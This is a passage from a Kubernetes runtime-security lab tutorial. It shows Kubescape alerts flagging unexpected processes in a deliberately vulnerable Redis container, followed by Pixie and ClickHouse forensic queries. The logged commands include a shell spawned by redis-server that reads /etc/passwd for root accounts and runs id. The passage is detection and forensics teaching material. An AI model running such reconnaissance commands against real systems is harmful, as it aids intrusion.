2\u003e\u00261","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"awk␟125972":{"pid":125972,"cmdline":"/usr/bin/awk -F: $3==0{print $1} /etc/passwd","comm":"awk","ppid":125971,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/mawk"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: awk with PID 125972","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/id"],"exec":"/usr/bin/id","message":"Unexpected process launched: id with PID 125973"},"infectedPID":125973,"severity":1,"timestamp":"2026-04-12T17:02:40.693256543Z","trace":{},"uniqueID":"732769abf49bbc7bb1f0951239713b23","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"id","commandLine":"/usr/bin/id "},"file":{"name":"id","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125971":{"pid":125971,"cmdline":"/bin/sh -c awk -F: '$3==0{print $1}' /etc/passwd \u0026\u0026 id 2\u003e\u00261","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"id␟125973":{"pid":125973,"cmdline":"/usr/bin/id","comm":"id","ppid":125971,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/id"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: id with PID 125973","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}

6 Pixie reaction

6.1 Connecting Pixie to Clickhouse

px run -f /home/laborant/soc/analysis/file_sourcer/kubescape/observe.pxl

This returns the data that was written from Kubescape into Clikchouse via vector.

6.2 For each anomaly, a px query starts streaming to ClickHouse

 kubectl -n clickhouse exec "$CHP" -- clickhouse-client -u default -q "
  SELECT 'kubescape_logs' AS tbl, count() AS rows, toDateTime(max(event_time)) AS latest
  FROM forensic_db.kubescape_logs
  UNION ALL
  SELECT 'conn_stats', count(), max(time_)
  FROM forensic_db.conn_stats
  FORMAT PrettyCompactMonoBlock"

   ┌─tbl────────────┬─rows─┬────────────────────────latest─┐
1. │ kubescape_logs │  173 │ 2026-04-22 17:28:39.000000000 │
2. │ conn_stats     │ 2958 │ 2026-04-22 17:53:58.480962253 │
   └────────────────┴──────┴───────────────────────────────┘

About the Authors

Constanze Roedig

Constanze Roedig

Find this author online

Writes about

SecurityKubernetesLinux

Frequently covers

#anomaly#behaviour#ebpf#eBPF#oci
Dr Constanze Roedig

Dr Constanze Roedig

Constanze s test user

Find this author online

More tutorials you might like

Learn by doing, not just by reading or watching

Sign up for a free account to start a VM playground right on this page, track your progress, and get notified about new learning materials.

Sign up for free

How to Author Tutorials on iximiuz Labs

Instead of providing a subpar online editing experience, iximiuz Labs offers a helper CLI tool called labctl, allowing you to use your favorite text editor (or a full-featured IDE) to write content from the comfort of your local machine.

Install labctl CLI

curl -sf https://labs.iximiuz.com/cli/install.sh | sh

This will download and install the latest version of the labctl CLI. You only need to do this once per workstation.

Authorize labctl

labctl auth login

This will open a browser window asking you to authorize labctl to access your account. You need to do it after a fresh install of labctl and repeat it whenever the auth session expires.

Pull tutorial content

labctl content pull tutorial sovereignsocdemo-8f929992

This will create a local copy of the tutorial content in a directory named sovereignsocdemo-8f929992. You only need to do this once per tutorial.

Stream your changes

labctl content push -fw tutorial sovereignsocdemo-8f929992

Run this command in a separate terminal to continuously upload your changes to the server while editing the tutorial in your favorite text editor or IDE.

You can also use labctl to create, list, and delete your content. Learn more about the available commands: labctl content --help

Start tutorial